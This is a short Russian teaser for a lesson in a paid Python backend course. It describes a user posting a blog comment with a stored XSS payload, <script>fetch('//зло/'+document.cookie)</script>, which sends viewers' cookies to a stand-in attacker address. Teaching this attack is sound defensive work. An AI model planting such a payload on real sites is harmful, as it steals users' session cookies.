Квот постит комментарий к посту. В поле не «хороший мост», а строка <script>fetch('//зло/'+document.cookie)</script>. Открывает пост другим браузером и видит, как его скрипт шлёт куки на чужой адрес.
урок из курса
Урок из курса «Python backend: Тарбадель». Курс покупается один раз и остаётся навсегда: 500 ₽.
Оплата пока не подключена: премиум и курсы открываются промокодом.